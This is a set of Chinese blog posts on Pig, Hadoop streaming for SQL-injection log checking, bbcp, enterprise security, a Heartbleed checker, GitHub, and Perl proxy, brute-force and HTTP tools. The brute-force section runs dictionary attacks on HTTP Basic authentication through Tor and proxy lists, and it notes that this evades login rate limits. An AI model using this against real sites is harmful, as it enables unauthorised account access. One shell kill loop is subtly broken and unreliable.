可选
安装ant http://ant.apache.org/bindownload.cgi


ANT_HOME=/opt/apache-ant-1.9.6

export PATH=$ANT_HOME/bin:$PATH


2、配置

vim conf/pig.properties

编辑
# Should scripts check to prevent multiple stores writing to the same location?
# (default: false) When set to true, stops the execution of script right away.
# 避免存储STORE同一位置的结果覆盖
pig.location.check.strict=true


二、pig 基本使用
1. pig命令行基本操作

交互式

fs -ls / # fs hadoop 文件系统操作

sh ls #shell命令


非交互式:

pig --help

pig -e 'fs -ls /' #命令执行

pig -c test.pig #pig脚本语法检查

pig -f test.pig #pig脚本运行


2. pig数据分析实例
使用官方的入门tutorial教程-搜索热词统计 来学习pig的基本使用 ,包括数据处理流程——数据加载load,数据过滤filter,数据分组group,数据连接join,数据排序order,数据合并union,数据分割split,数据存储store;pig内置函数,pig UDF函数编写。

编译与生成pigtutorial.tar.gz

cd /home/work/lidanqing01/pig-0.15.0/tutorial
vim build.xml
编辑 添加pig,hadoop依赖lib

    <path id="tutorial.classpath">
        <fileset dir="../lib/">
          <include name="*.jar"/>
        </fileset>
        <fileset dir="../lib/hadoop1-runtime/">
          <include name="*.jar"/>
        </fileset>
        <fileset dir="..">
          <include name="pig*-core-*.jar"/>
        </fileset>
        <pathelement location="${build.classes}"/>
        <pathelement location="${pigjar}"/>
    </path>

编译

ant
tar zxvf pigtutorial.tar.gz 
cd pigtmp #这个目录下为实例pig脚本

(1)  local模式运行

pig -x local script1-local.pig


结果:
script1-local-results.txt


(2)mapreduce模式运行

hadoop fs -mkdir -p /user/root

hadoop fs -put excite.log.bz2 .  #将日志存放到hdfs /user/{user}/excite.log.bz2

pig -f script1-hadoop.pig

结果:
hadoop fs -ls /user/{user}/script1-hadoop-results
三、pig高级使用
使用pig对MySQL全日志sql语句查询次数进行统计
1. MySQL全日志格式见 http://danqingdani.blog.163.com/blog/static/186094195201611673420929/ 二、补充知识

2. pig脚本 db_parse.pig

raw_log_entries = LOAD 'mysql.log' using TextLoader AS (line:chararray);
define sqlicheck `python normalize_mapper.py` ship('normalize_mapper.py');
stream_log_entries = stream raw_log_entries through sqlicheck as(sql_base64:chararray, time_base64:chararray);
group_log_entries = GROUP stream_log_entries by sql_base64;
log_count = foreach group_log_entries generate flatten(group) as sql_base64:chararray, COUNT(stream_log_entries) as count;
log_count_order = order log_count by count desc;
register 'udf_pig.py' using jython as udf_tool;
decode_base64_log_count = foreach log_count_order generate udf_tool.base64_decode(sql_base64), count;
store decode_base64_log_count into 'sql_count';

3. pig UDF udf_pig.py

import base64

@outputSchema("sql:chararray")
def base64_decode(s):
return base64.b64decode(s)

4. pig streaming normalize_mapper.py (http://danqingdani.blog.163.com/blog/static/186094195201611673420929/ )
5. 运行

pig -x local -f db_parse.pig

结果如下

more sql_count/part-r-00000

select @@version_comment limit 1 1501



四、pig开发环境配置
1. sublime 编辑器
https://github.com/matthayes/sublime-text-pig
2. vim 编辑器
http://www.vim.org/scripts/script.php?script_id=2186
3. eclipse 编辑器
https://wiki.apache.org/pig/PigPen



五、更多
同步了解:

pig同hive,cascading的作用相同,它隐藏了mapreduce编程细节,提供一种面向程序猿更简单的操作方式,hive使用SQL,pig使用pig latin脚本,cascading提供java api,最后都将转换为mapreduce job。它能减少开发周期,使得程序猿将注意力集中在数据分析上,而不是执行本质。当然有了便利也会牺牲一些东西,例如性能,例如实现非常见算法。所以一般使用pig来做快速原型,最后在生产环节中使用mapreduce来实现。并且由于pig是批处理的计算方式,也遗传了批处理的缺陷,不支持对数据的随机读和写(用NoSQL数据库例如hbase来满足),不支持实时流式数据处理(用storm来满足),大数据处理框架非常多,需要根据场景选择最适合的。

大致浏览一下Pig Latin Basics官方文档 ,然后对应着查看tutorial中的源码,实际演练日志的分析,忘记语法时看看cheatsheet就能基本掌握pig。

参考:

hadoop streaming 分析MySQL全日志

$
0
0
前言:
原本一直使用原生的java包进行mapreduce计算,但发现调用第三方语言写的包(e.x python)不方便,因此决定采用streaming方式来处理。

一、任务场景
MySQL全日志解析,提取sql语句,检测sql语句是否存在注入

二、补充知识
MySQL全日志格式
[timestamp]\t[thread_id]\s[command_type]\t[sql_text]\n
对应正则
db_pattern = r"^(\d{2}\d{2}\d{2}\s+\d{1,2}:\d{2}:\d{2}|\t)\s+\d+\s+([A-Za-z]+)\s*(.*)$"
实例

160114 11:15:02   903 Query     BEGIN


                  903 Query     REPLACE INTO heartbeat SET id='abc_0000', value=142341302
解析中的问题:
(1)timestamp补全,MySQL规定如果时间与上一条日志相同打印一个"\t",否则打印时间戳
(2)多行SQL语句拼接,一条sql语句会出现在多行,hadoop mapreduce默认处理文本的FileInputFormat格式为TextInputFormat,而TextInputFormat是使用\n来切割单行的

三、hadoop streaming 编码
用hadoop streaming来进行MySQL日志的SQL语句拼接与timestamp补全
1. hadoop streaming原理
使用标准流作为hadoop和应用程序之间的接口,从 stdin读取数据,排序 ,将结果输出到stdout,类似linux管道

优点是:可以用熟悉的语言的来干活
缺点是:
(1)reduce的代码需要自己来迭代 不会像原生的java生成 <k, list<v>>
(2)如果需要深度定制,还是要java的编码
区别:
(1) 原生java可以只有reducer ,streaming必须指定一个mapper

job.setMapOutputKeyClass(Text.class);

job.setMapOutputValueClass(ParserRequestWritable.class);
job.setNumMapTasks(0);
job.setReducerClass(UniqueReducer.class);
job.setOutputKeyClass(Text.class);
job.setOutputValueClass(ParserRequestWritable.class);

$HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
-input myInputDirs \
-output myOutputDir \
-mapper org.apache.hadoop.mapred.lib.IdentityMapper \
-reducer /bin/wc


 2.hadoop streaming 环境配置
注意:版本不同位置不同

vim ~/.bashrc

HADOOP_HOME=/home/{user}/hadoop-2.6.0
alias HSTREAMING="$HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/share/hadoop/tools/lib/hadoop-streaming-2.6.0.jar"

source ~/.bashrc 

查看hadoop streaming的使用选项

HSTREAMING -info

3. hadoop streaming编程
选择Python,数据科学友好语言。其实R也是可以的
由于总会用到第三方算法库,考虑到hadoop集群python版本问题,最好将整个开发运行环境打包上传到hadoop
完整包的目录结构
lib/Python27 Python库
src/main src/test 源码
data 数据文件


选择最稳定的2.7

(1).Python 编译

wget https://www.python.org/ftp/python/2.7.10/Python-2.7.10.tgz

cd Python-2.7.10
compile
./configure --prefix=lib/Python27
make -j
make install
(2). 编写mapper程序 normalize_mapper.py
作用:将原始的日志解析为<SQL_BASE64, TIMESTAMP_BASE64>对

# -*- coding: utf-8 -*-

import sys

import json

import re

import logging

import base64


#db log format configure

db_pattern = r"^(\d{2}\d{2}\d{2}\s+\d{1,2}:\d{2}:\d{2}|\t)\s+\d+\s+([A-Za-z]+)\s*(.*)$"

db_regex = re.compile(db_pattern)

sql_pattern = r"^(\S+)\s"

sql_regex = re.compile(sql_pattern)


#log configure 用于调试是否正确解析,例如SQL拼接是否正确

logging.basicConfig(level = logging.ERROR,

                    format = '%(message)s',                    

                    stream = sys.stderr)


#query blacklist configure 只处理query语句

command_blacklist = [

"query"

]


query_blacklist = [

"select",

"update",

"insert",

"delete",

"replace"

]



def read_mapper_output(file):

    """

    read data from file using yield

    """

    for line in file:

        yield line.rstrip() 



def db_log_normailze():

    """

    normalize db log, extend timestamp and merge multi-line sql statement

    """


    #read data from stdin

    data = read_mapper_output(sys.stdin)


    #last time 

    last_time = "\t"


    #current time command and sql

    time = ""

    command = ""

    sql = ""

    line_number = 1


    for line in data:

        db_match = db_regex.search(line)

        if db_match:

            if command != "":

                if sql and command.lower() in command_blacklist:

                    sql_match = sql_regex.search(sql)

                    if sql_match:

                        sql_command = sql_match.group(1)

                        if sql_command.lower() in query_blacklist:

                            debug = "FINAL_RESULT %d: %s %s %s" %(line_number - 1, time, command, sql)

                            logging.debug(debug)

                            sql_base64 = base64.b64encode(sql)

                            time_base64 = base64.b64encode(time)

                            print "%s\t%s" %(sql_base64, time_base64)                           

            else:

                info ="NULL_COMMAND %d: %s %s %s" %(line_number - 1, time, command, sql)

                logging.info(info)


            time, command, sql = db_match.groups()            


            #time extend

            if time == "\t":

                time = last_time

            else:

                last_time = time

        else:

            #for debug

            info = "MULTI_LINE %d: %s" %(line_number, line.strip())

            logging.info(info)


            if command != "":

                sql = sql + line


        line_number = line_number + 1


if __name__ == '__main__':

    db_log_normailze()    

(3).编写reducer程序 normalize_reducer.py
通过上一步输出了<SQL_BASE64, TIMESTAMP_BASE64>对,接着按以下格式来处理数据
<SQL_BASE64,List[TIMESTAMP_BASE64]>, 悲剧的是streaming处理方式,需要自己来group,以下只演示如何group

#!/usr/bin/env python
import sys
import re
import base64
import logging
from itertools import groupby
from operator import itemgetter
import sqli_check
import udf_tool


#log configure
logging.basicConfig(level = logging.ERROR,
format = '%(message)s',
stream = sys.stderr)


def read_mapper_output(file, separator='\t'):
"""
read data from file and split each line into k,v pair
"""
for line in file:
yield line.strip().split(separator, 1)


def db_log_sql_parse():
data = read_mapper_output(sys.stdin, separator='\t')

for sql_base64, group in groupby(data, itemgetter(0)):
num_of_request = 0
time_list = set()
"""
k: sql_base64
v: time_base64
"""
for k, v in group:
time = base64.b64decode(v)
num_of_request = num_of_request + 1
time_list.add(time)

sql_parser_result = sqli_check.parser(sql_base64)

(4). 本地测试

cat ../../data/mysql.log |../../lib/Python27/bin/python normalize_mapper.py |sort -k1|../../lib/Python27/bin/python normalize_reducer.py 1>result 2>debug &

(5).集群运行
(1)打包上传代码环境

tar zcvf sqlicheck.tar.gz lib/ src/

hadoop fs -put sqlicheck.tar.gz /
(2)任务运行
a. 版本2.x

HSTREAMING="$HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/share/hadoop/tools/lib/hadoop-streaming-2.6.0.jar"

$HSTREAMING  \

-D mapred.job.name='normalize db log'  \

-archives "hdfs://xxx.xxx.xxx.xxx:xxx/sqlicheck.tar.gz#sqlicheck"  \

-input  $INPUT_PATH  \

-output $OUTPUT_PATH  \

-mapper "sqlicheck/lib/Python27/bin/python sqlicheck/src/main/normalize_mapper.py "  \

-reducer "sqlicheck/lib/Python27/bin/python sqlicheck/src/main/normalize_reducer.py"

b. 版本1.x

$HADOOP_HOME/bin/hadoop  --config $HADOOP_HOME/conf streaming \

-D mapred.job.name='normalize db log'  \

-input $INPUT_PATH  \

-output $OUTPUT_PATH  \ 

-mapper "sh sqlicheck/src/main/normalize_mapper.sh "  \

-reducer "sh sqlicheck/src/main/normalize_reducer.sh" \

-cacheArchive/sqlicheck/sqlicheck.tar.gz#sqlicheck 

为什么是sh,不是py,这里有个悲催的原因,见下面

四、疑问解决
1. 解决hadoop集群, 第三方python版本依赖库缺失问题

/lib64/libc.so.6: version `GLIBC_2.14' not found

当出现以上错误的时候,就是你上传的python环境的依赖库缺失了
解决方法就是查看python的依赖库,打包上传到hadoop中

ldd lib/Python27/bin/python

cp /lib/x86_64-linux-gnu/libpthread.so.0 lib/Python27/lib/

cp /lib/x86_64-linux-gnu/libdl.so.2 lib/Python27/lib/
cp /lib/x86_64-linux-gnu/libutil.so.1 lib/Python27/lib/
cp /lib/x86_64-linux-gnu/libm.so.6 lib/Python27/lib/
cp /lib/x86_64-linux-gnu/libc.so.6 lib/Python27/lib/ 
在python运行前,先导入LD_LIBRARY_PATH位置

vim normalize_mapper.sh

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:sqlicheck/lib/Python27/lib

sqlicheck/lib/Python27/bin/python sqlicheck/src/main/normalize_mapper.py
这也是为啥是sh,不是py了


bbcp-局域网中大文件的快速传输

$
0
0
需求:
1. 局域网中传输大文件,文件大小大于100G
2. 无加密要求
3. 文件完整性要求低
4. 越快越好

结论:
bbcp

使用实例:
一、安装(传输的双方机器都需要安装同版本的可执行文件)

wget http://www.slac.stanford.edu/~abh/bbcp/bbcp.tgz


tar zxvf bbcp.tgz
cd bbcp/src/
make
cp bbcp/bin/amd64_linux26/bbcp /usr/bin/
二、使用

/usr/bin/bbcp -F -P 2 -V -w 10m -s 16 -T 'ssh -x -a -oFallBackToRsh=no %I -l %U %H /home/xxx/bin/bbcp'

src_file_path user@host:/home/xxx/dest_file_path

选项说明
-F: 不检查目的机器的磁盘空间大小是否还够
-P: 指定每个进程的启动时间,单位s
-w: 磁盘IO buffer大小
-s: 并发streams数 
-T 指定如何远程启动bbcp
-V: 显示传输详细细节

三、优化
可以使用以下选项来加快传输速度
1. 关闭域名查找
-n
2. 磁盘IO buffer大小与并发streams数的合理设置
传输是否快取决于机器的内存和带宽,上面两个数值在内存不会耗尽的情况下理论上是设置越大越好,当然实际情况要找到一个平衡点。

参考http://pcbunn.cithep.caltech.edu/bbcp/using_bbcp.htm 给出的测试数值:
a. 并发streams数的设置
局域网中 -s 设置为16或32比较好

b.磁盘IO buffer大小的设置
可以使用iperf来获得带宽数量
服务端

iperf -s

客户端

iperf -c server_ip -t 60 -i 2 -w 200k -n 10400000 -d

-t 测试时间

-i 以秒为单位显示报告间隔

-w 指定TCP窗口大小,默认8k

-n 指定传输的字节数

-d 进行双向传输测试

[ 5] 0.0- 1.1 sec 10.0 MBytes 76.5 Mbits/sec

那么窗口大小设置为
-w 0.5*76.5比较合适

四、问题
再次感叹自己的bug体质
1. bash: bbcp: command not found
找不到目的机器的bbcp路径
首先查看一下默认的bbcp路径
ssh user@host which bbcp
然后copy或建立符号链接到bbcp目标路径
如果没有权限将bbcp移动到指定路径,可以使用 -T 指定bbcp路径
-T 'ssh -x -a -oFallBackToRsh=no %I -l %U %H /home/xxx/bin/bbcp'

2. bbcp: Insufficient space to copy all the files
bbcp在传输的过程中会检查目的机器的磁盘空间大小,当然这个空间大小的探测可能不准确。
可以使用 
-F 选项关闭磁盘大小检测

3.bbcp: No space left on device writing
目的机器真的磁盘空间不够,整理整理吧,以我的经验不少磁盘空间不够是因为被标记删除的文件仍在被进程使用造成。
可以使用以下命令杀死这些进程
lsof | grep deleted|while read abc;do kill -9 $abc;done


小话企业安全能力建设

$
0
0
曾经遇到一个面试题,如何对互联网企业从零开始建设安全能力。我瞬间就蒙圈了,只能想到资产整理后的分层检测、防御与应急响应,然后脑海里飘过的一堆开源工具,例如:
生产环境下
网络层:端口扫描发现服务nmap/zmap/masscan, 入侵检测snort/bro,防火墙iptables/netfilter,堡垒机
主机层:入侵检测ossec,安全审计lynics/audit,rootkit检测,漏洞检测nessus,主机加固
应用层:waf(nginx+lua),漏洞检测awvs+nikto+sqlmap, webshell检测php,mobile APP安全检测
业务层:账户安全管理,反游戏外挂,黑产抗衡,反欺诈等
办公环境下
OA系统:上网行为监控,PC杀毒,邮件附件杀毒,移动设备管理
这个答案被直接鄙视了。
现在想想,不考虑企业规模,不考虑企业安全建设阶段,我这个答案也不算太错。 全景上看企业安全,实际就这些
一、资产管理能力(外网&&内网)
小话企业安全能力建设 - 碳基体 - 碳基体
 
 
记得有一家互联网公司做资产管理,是靠内审人员excel人工登记,互联网资产变动是相当快的,这种不靠谱的方法结果是白干了。资产管理要做的好一定需要一套资产发现自动化工具。
现在有不少优秀的外网资产发现工具,其实有名的shodan/zoomeye就是,这里可以学学渗透的第一阶段,信息采集能力。
二、安全评估能力
小话企业安全能力建设 - 碳基体 - 碳基体
 
 
安全评估,大多数的甲方工作人员都重点在做web产品的安全测试,mobile产品还处于初级阶段(其中Android的要比iOS稍微好一点点),涉及业务逻辑与黑产对抗的基本靠业务线的测试人员来抗
三、安全检测能力
小话企业安全能力建设 - 碳基体 - 碳基体
 
 安全检测能力上,体量略大一点的公司都开始了漏洞扫描器的自研,但基本都围绕着性能与部署优化(单机变分布式,分布式变虚拟化docker),检测能力没有本质提高,漏洞扫描器的通用漏洞扫描能力都维持现状,PoC扫描能力靠漏洞收集等非技术线方法来提高。
四、安全监控能力
小话企业安全能力建设 - 碳基体 - 碳基体
 
大数据炒热了监控,大家都在讲“看到的能力” “数据为王”,实际都卡在了如何用有限的数据最大程度的自动化上。可惜的是现在的解决方案都本末倒置了,讲hadoop生态圈,ELK可视化检索,storm流式处理的很多,没有好的数据处理方式,是不能做到准确的自动化(最小人力介入并获得误报与漏报平衡的自动化)的。
五、安全防御能力
小话企业安全能力建设 - 碳基体 - 碳基体
 
 防御型产品除了身份认证有些革新,其他没有啥进展,原因是防御受限于监控能力的输出,监控能力受限于数据处理能力(实际上很多监控能力还不到比拼大数据处理这一步)。
情报产品放入防御型产品中,实际不是很恰当。目前情报对防御来说最直接的作用是产生黑名单(威胁情报)
六、安全管理能力
小话企业安全能力建设 - 碳基体 - 碳基体
 小话企业安全能力建设 - 碳基体 - 碳基体
 

 安全管理更多的是安全部门的自我保护,出事后可以和对方说,”看呀,我早说过的呀,不信? 有规范,有操作记录“。其实我不太同意七分管理三分技术的说法,安全做的好一定是润物细无声的自动化了。
七、安全运维能力
小话企业安全能力建设 - 碳基体 - 碳基体
 
 应急响应与灾难恢复是企业安全最最基本的工作,属于不做好会死,做的很好也看不出来的工作。
八、安全运营能力
小话企业安全能力建设 - 碳基体 - 碳基体
 
 超级奇怪的现象,安全运营上各大公司都在大力的做,安全会议多的人都不够用了。
九、安全取证/溯源能力
能做到这一步就相当完美了。安全的本质是风险管理,攻击的本质是利益的游戏,增加攻击的成本(大家都专注在提高攻击难度上)告诉你攻击的后果更是一种有效的打击方式(拦截单次攻击事件和打击掉一个攻击团伙谁更有效很明显)。 

威胁情报2012-2016会议笔记


Go版heartbleeder PoC ——Ubuntu/Debian上搭建Go运行环境

$
0
0

说起为啥要安装Go环境,完全是因为想运行Heartbleed  Bug(CVE-2014-0160)Go版本的PoC heartbleeder.go (估计大家都使用的python版本的PoC ssltest.py, perl版本的PoC hb_honeypot.pl 附上在线检测站点http://filippo.io/Heartbleed/,http://possible.lv/tools/hb/ 

作为工具党,熟悉各种工具的编译运行方式是最基础的了,而渗透工具一般都需要了解c,perl,python,ruby,go的运行方式。好了,进入正题。我们搭建好go运行环境,并演示在这个环境中运行heartbleeder.go 


一、Go环境搭建

第一步:安装c语言工具

apt-get install bison ed gawk gcc libc6-dev make


第二步:安装Mercurial版本管理系统(后续使用其获取/更新Go源码)

apt-get install python-setuptools python-dev build-essential


easy_install mercurial


第三步:获取源码
hg clone -r release https://go.googlecode.com/hg/ go
或更新到最新版本

cd go/src

hg pull

hg update release

./all.bash


第四步:编译

cd go/src

./all.bash


第五步:设置环境变量

vim ~/.bashrc

增加

#Go 二进制文件存放地址

export GOBIN=/root/go/pkg/tool/linux_386
export PATH=$GOBIN:$PATH
#Go 安装包源码路经

export GOROOT=/root/go
export GOPATH=/root/goTool

#操作系统和CPU类型,可以使用uname -a查看
export GOOS=linux
export GOARCH=386

source ~/.bashrc


第六步:检查是否安装成功

vim hello.go

package main
import "fmt"

func main(){
fmt.Println("hello, Go ! ")
}

运行

-bash-4.2# go run hello.go
hello, Go !



二、Heartbleeder使用

cd goTool/

go get github.com/titanous/heartbleeder #获取PoC源码

经过上一步操作:
PoC的二进制文件放置在了$GOBIN/heartbleeder下,/root/go/pkg/tool/linux_386/heartbleeder
PoC的源码放置在了$GOPATH/src下,/root/goTool/src/github.com/titanous/heartbleeder

我们运行尝试一下

-bash-4.2# heartbleeder www.xxx.com
INSECURE - www.xxx.com:443 has the heartbeat extension enabled and is vulnerable

或者

-bash-4.2# go run heartbleeder.go www.xxx.com
INSECURE - www.xxx.com:443 has the heartbeat extension enabled and is vulnerable



github最基本的使用

$
0
0
记录最简单的github源码托管操作,其实,作为IT人员,现在才提起github,已经过时到不行了。


最早接触github,完全是因为要“借用”大牛们编写的工具。于是最先学会了

git clone 地址 来下载源码

git pull 与更新源码


题外话,由于强迫症似的到处收集工具,除了git以外,还接触了Mercuria (hg),Subversion(svn)这些版本管理工具,但最最流行的还是git,其中github起到了巨大的推广作用(看看git的出书,it杂志上的git专栏)。

好了,回到正题。

首先,我们需要在本地机器上安装git

一、git安装
1. 本地安装git
windows下

下载

 http://msysgit.github.io/

Debian/Ubuntu下

apt-get install git


Mac上



2. git命令自动补全

git clone https://github.com/git/git.git

cp git/contrib/completion/git-completion.bash ~/.git-completion.bash
vim ~/.bashrc
添加 
source  ~/.git-completion.bash

source .bashrc 
更多学习参考:http://git.oschina.net/progit/index.html


二、github注册帐号及基本的操作(以上传README文件为例)
1. github 注册帐号
https://github.com/

2.git全局配置

git config --global user.name "xxx" #你在github上的帐号 

git config --global user.email "xxx@gmail.com"#你在github上的邮箱地址

3.在github上创建一个repository
https://github.com/
点击create repositories, 为repository取个名字,以perl_tools为例

4.在本地创建源码文件夹
mkdir perl_tools
cd perl_tools/
git init

5.提交文件,以提交README文件为例 


vim README #在工作目录下修改文件,此时文件的状态是已修改状态


随便写点啥


git add README #将修改文件放到暂存目录,此时文件的状态是已暂存状态

git commit -m 'create README file' #将放置在暂存目录中的文件提交到本地仓库此时文件的状态是已提交状态

git remote add origin https://github.com/[github username][github_repository_name].git #添加远程仓库,例子中将远程仓库取名为origin,这个操作只需要一次,后续修改上传文件都不要执行

git push origin master #将本地仓库master的数据推送到远程仓库origin

Username for 'https://github.com': xxx
Password for 'https://xxx@github.com':
就ok了,上传其他文件步骤相同。

三、我的github
https://github.com/tanjiti/perl_tools
尝试上传了几个最近写的小工具(申明我是编程菜鸟),像搭积木,蛮好玩的

isRealSpider.pl 判断指定ip是不是google/baidu/yahoo/bing/msn爬虫
github最基本的使用 - 碳基体 - 碳基体
 
getIPinfoOnline.pl 查询指定IP的基本信息,读取了以下在线IP接口
    1  ipinfo.io
    2  ip-api.com
    3  ip-taobao.com 淘宝IP
    4  www.cz88.net 纯真IP
    5  ip.chinaz.com 站长之家IP
github最基本的使用 - 碳基体 - 碳基体
 
getIPinfoOffline.pl 从本地离线IP数据库查询指定IP/域名的基本信息,IP数据库来自maxmind.com
github最基本的使用 - 碳基体 - 碳基体
 
whichCDNUser.pl 判断指定host是否使用了CDN服务(能识别cloudflare,incapsula,360网站卫士, 加速乐,云加速,安全宝)
github最基本的使用 - 碳基体 - 碳基体
 
readTitle.pl 读取指定域名的title,主要加入了中文解码
github最基本的使用 - 碳基体 - 碳基体

 

Proxy探测脚本与HTTP基本认证暴力破解脚本

$
0
0
一、Proxy探测脚本
功能:探测Proxy地址是否可用,速度及代理的隐匿程度
脚本地址:https://github.com/tanjiti/perl_tools/blob/master/isProxyOK.pl
使用方法:
1. 获取帮助

perl isProxyOK.pl --help

2. 判断指定Proxy地址是否可用及连通速度
黄色字体表明代理不可用,红色字体表示代理可用

perl isProxyOK.pl -proxy http://61.158.219.226:8118

Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体

除了http代理,也支持socks代理

perl isProxyOK.pl -proxy socks://180.153.139.246:8888

Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
除了探测单个proxy地址,我们也可以批量探测文件中的代理,并将可连通的代理输出到指定文件中以备用

perl isProxyOK.pl -proxy proxy_Scrapebox.txt [-out proxy_20140511_out]


代理文件的格式如下proxy_Scrapebox.txt(代理来自Scrapebox
 Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
运行
Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
运行结束后将可用代理存入文件proxy_Scrapebox.txt_out中,你也可以使用 -out 选项指定输出文件名
Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
3.判断代理的类型
1)脚本将代理分为三类
(1)High Anonymity Proxy/elite Proxy 高度匿名代理:不会在服务器访问日志中留下VIA,与X_Forwarded_For内容
(2)Anonymity Proxy 匿名代理:可隐藏访问者原始IP,X-Forwarded-For中没有实际的访问IP
(3)Transparent Proxy透明代理: 有详细的代理信息及访问者IP,代理IP

1)脚本运行的先决条件
启动该功能需要预先在脚本运行环境下搭建web server
本例以在vps下搭建lighttpd 为例,设置lighttpd日志格式及启动server

设置lighttpd的日志格式,主要是要记录X-Forwarded-For 、VIA头部

vim /etc/lighttpd/conf-enabled/10-accesslog.conf

accesslog.format = "%h %V %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" \"%{X-Forwarded-For}i\" \"%{VIA}i\""

accesslog.filename = "/var/log/lighttpd/access.log"

具体的日志格式设置可参考《Apache/Nginx/Lighttpd/Tomcat 日志格式 cheatsheet 

2)代理判断的流程
通过指定代理访问web server,然后在web server访问日志中查看VIA,与X_Forwarded_For字段
第一步:使用代理访问 http://www.tanjiti.com/proxy.php ,获得代理相关请求及初步的代理判断

{

  • HTTP_VIAfalse,
  • HTTP_X_FORWARDED_FOR"xxx.xxx.xxx.xxx",
  • HTTP_X_FORWARDED_PROTO"http",
  • REMOTE_ADDR"xxx.xxx.xxx.xxx",
  • HTTP_PROXY_CONNECTIONfalse,
  • PROXY_TYPE"transparent"

}

第二步:
根据访问者真实的ip地址,查看HTTP_X_FORWARDED_FOR头,看是保护在其中,如果不在,则为匿名代理



4)实例
-proxy: 代理地址 也可以是代理地址文件
-vv: 表示获得代理类型
-url: 你的web server ip或域名
-ip: 你的访问ip
-logpath: web server访问日志路径,默认为/var/log/lighttpd/access.log 
a.透明代理Transparent 

perl isProxyOK.pl -vv -proxy http://218.107.217.82:8080

Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
b.匿名代理Anonymity

perl isProxyOK.pl -vv -proxy http://64.34.14.28:7808

Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体

c.高度匿名代理elite

perl isProxyOK.pl -vv -proxy socks://180.153.139.246:8888

Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
该代理脚本待改善的地方
1. 不支持需要认证的代理服务器
2. 不支持多线程探测

二、HTTP 基本认证暴力破解脚本
 功能:使用字典破解HTTP basic Authentication
脚本地址:https://github.com/tanjiti/perl_tools/blob/master/crackbasicAuth.pl
补充知识:
基本认证实例说明:lighttpd + htpasswd
第一步:htpasswd创建基本认证
在指定路径下生成基本认证文件

htpasswd -c [认证文件路径,使用绝对路径] tanjiti(用户名)

第二步:启用auth模块

lighttpd-enable-mod auth

/etc/init.d/lighttpd force-reload

第三步: 配置auth模块

vim conf-enabled/05-auth.conf

增加
auth.backend = "htpasswd"
auth.backend.htpasswd.userfile = "[filepath absolute]"
auth.require = ("[需要采取基本认证的路径,使用相当路径]" => (
    "method" => "basic",
    "realm" => "[基本认证框中的服务器提示]",
    "require" => "user=tanjiti"
))

/etc/init.d/lighttpd force-reload

此时访问该路径的文件,则会要求进行基本认证,否则401
Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
实际上服务器是期待客户端发送一个带有帐户信息的Authorization头
Authorization: Basic dGFuaml0aToxMjM=(username:password base64编码)
 
使用方法:
 1.获取帮助

perl crackbasicAuth.pl -h

2. 使用脚本登陆

perl crackbasicAuth.pl -url http://www.tanjiti.com/xxxx/ -username tanjiti -password 123 -vv

选项说明:
-url 需要基本认证的路径
-username 基本认证用户名,可以是字符串,也可以是字符串(字典)文件
-password 基本认证密码,可以是字符串,也可以是字符串(字典)文件
-vv 开启该选项,在终端开启看到详细的HTTP请求头和响应头
-tor 表示使用tor作为代理来访问目标url
-proxy表示使用代理来访问目标url,可以是单个的代理字符串,也可以是代理列表文件(我们可以使用一、Proxy探测脚本介绍的方法来挑选合适的代理列表)
Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
使用字典尝试登陆

perl crackbasicAuth.pl -url http://www.tanjiti.com/xxxx/ -username a -password b

Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
 使用tor(debian/ubuntu 使用apt-get install tor,默认监听端口9050)

perl crackbasicAuth.pl -url http://www.tanjiti.com/xxxx/ -username a -password b -tor


Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
使用proxy list

perl crackbasicAuth.pl -url http://www.tanjiti.com/xxxx -username a -password b -proxy proxy_Scrapebox.txt_out

Proxy探测脚本与HTTP基本认证暴力破解脚本 - 碳基体 - 碳基体
 
其实基本认证一般会配合ip的访问控制策略(只允许某段IP访问),使用代理隐藏IP,绕过登陆安全限制(例如限制单个IP或单个用户名的访问频率)的意义不大,但可以将理念用于没有ip限制的表单登陆中。

HTTP.pl——通过HTTP发包工具了解HTTP协议

$
0
0
一、HTTP.pl功能简介
HTTP.pl perl编写的发包工具,简化版本curl,像curl致敬(唉,“致敬”都被于妈玩坏了)。

该发包工具支持HEAD,GET,METHOD三种基本请求方法,能处理 get/post方法的表单处理、文件上传请求、基本认证,能指定HTTP请求头,指定请求超时时间,指定自动Follow重定向的次数及使用代理。


使用的perl模块
(1)URI 相关模块 : 处理URI对象,分解及组装URI对象

use URI;
use URI::Split qw(uri_split uri_join);
use URI::Escape;

(2)HTTP协议相关部分:构造请求,发送请求,及解析响应

use LWP::UserAgent;
use HTTP::Headers;
use HTTP::Cookies;
use HTTP::Request::Common;


二、HTTP.pl脚本安装

git clone https://github.com/tanjiti/WAFTest

cpan App::cpanminus
cat requirePackage.txt | cpanm 

三、HTTP.pl使用实例
1. 脚本选项解析

perl HTTP.pl --help

-help 帮助选项
-url 'http://xxxx.xx.com' HTTP请求的URL
-m|method GET|POST|HEAD HTTP请求方法,默认为GET方法

-H|header X-Forwarded-For='127.0.0.1, 127.0.0.2' -H Via='Squid' HTTP请求头
-cookie usertrack='123456' -b hit=1 HTTP cookie
-d|data name='tanjiti' -d passwd=12345 HTTP 查询字符串/post表单数据


-A|user-agent 'baiduspider' HTTP UserAgent,默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
-e|referer 'http://www.baidu.com' HTTP Referer

